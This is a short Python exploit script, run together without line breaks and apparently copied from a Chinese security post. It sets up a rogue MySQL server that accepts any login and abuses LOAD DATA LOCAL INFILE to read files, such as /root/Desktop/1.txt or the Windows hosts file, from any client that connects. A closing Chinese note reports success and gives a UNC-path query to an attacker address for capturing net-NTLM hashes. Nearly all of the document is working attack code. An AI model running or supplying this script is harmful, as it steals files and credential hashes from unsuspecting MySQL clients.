#!/usr/bin/python#coding: utf8import socket# linux :filestring = "/root/Desktop/1.txt" # windows:#filestring = "C:\\Windows\\system32\\drivers\\etc\\hosts"HOST = "0.0.0.0" # open for eeeeveryone! ^_^PORT = 3307 BUFFER_SIZE = 1024#1 Greetinggreeting = "\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x08\x00\x00\x00\x38\x4f\x65\x2e\x54\x3e\x77\x5d\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4d\x4b\x6e\x69\x43\x53\x55\x34\x40\x28\x45\x60\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"#2 Accept all authenticationsauthok = "\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"#3 Payloadpayloadlen = "\x14"padding = "\x00\x00"payload = payloadlen + padding + "\x01\xfb\x2f\x72\x6f\x6f\x74\x2f\x44\x65\x73\x6b\x74\x6f\x70\x2f\x31\x2e\x74\x78\x74"s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)s.bind((HOST, PORT))s.listen(1)while True: conn, addr = s.accept() print 'Connection from:', addr conn.send(greeting) while True: data = conn.recv(BUFFER_SIZE) print " ".join("%02x" % ord(i) for i in data) conn.send(authok) data = conn.recv(BUFFER_SIZE) conn.send(payload) print "
Payload send!" data = conn.recv(BUFFER_SIZE) if not data: break print "Data received:", data break # Don't leave the connection open. conn.close()
成功执行:
INFILE 格式也支持 UNC 路径。如果连接到恶意 MySQL 服务器的客户端在 Windows 上运行,也可以使用以下查询检索 net-NTLM 哈希值:
“LOAD DATA LOCAL INFILE '\\\\xx.xx.xx.xx\test' into table mysql.test FIELDS TERMINATED BY "\n";”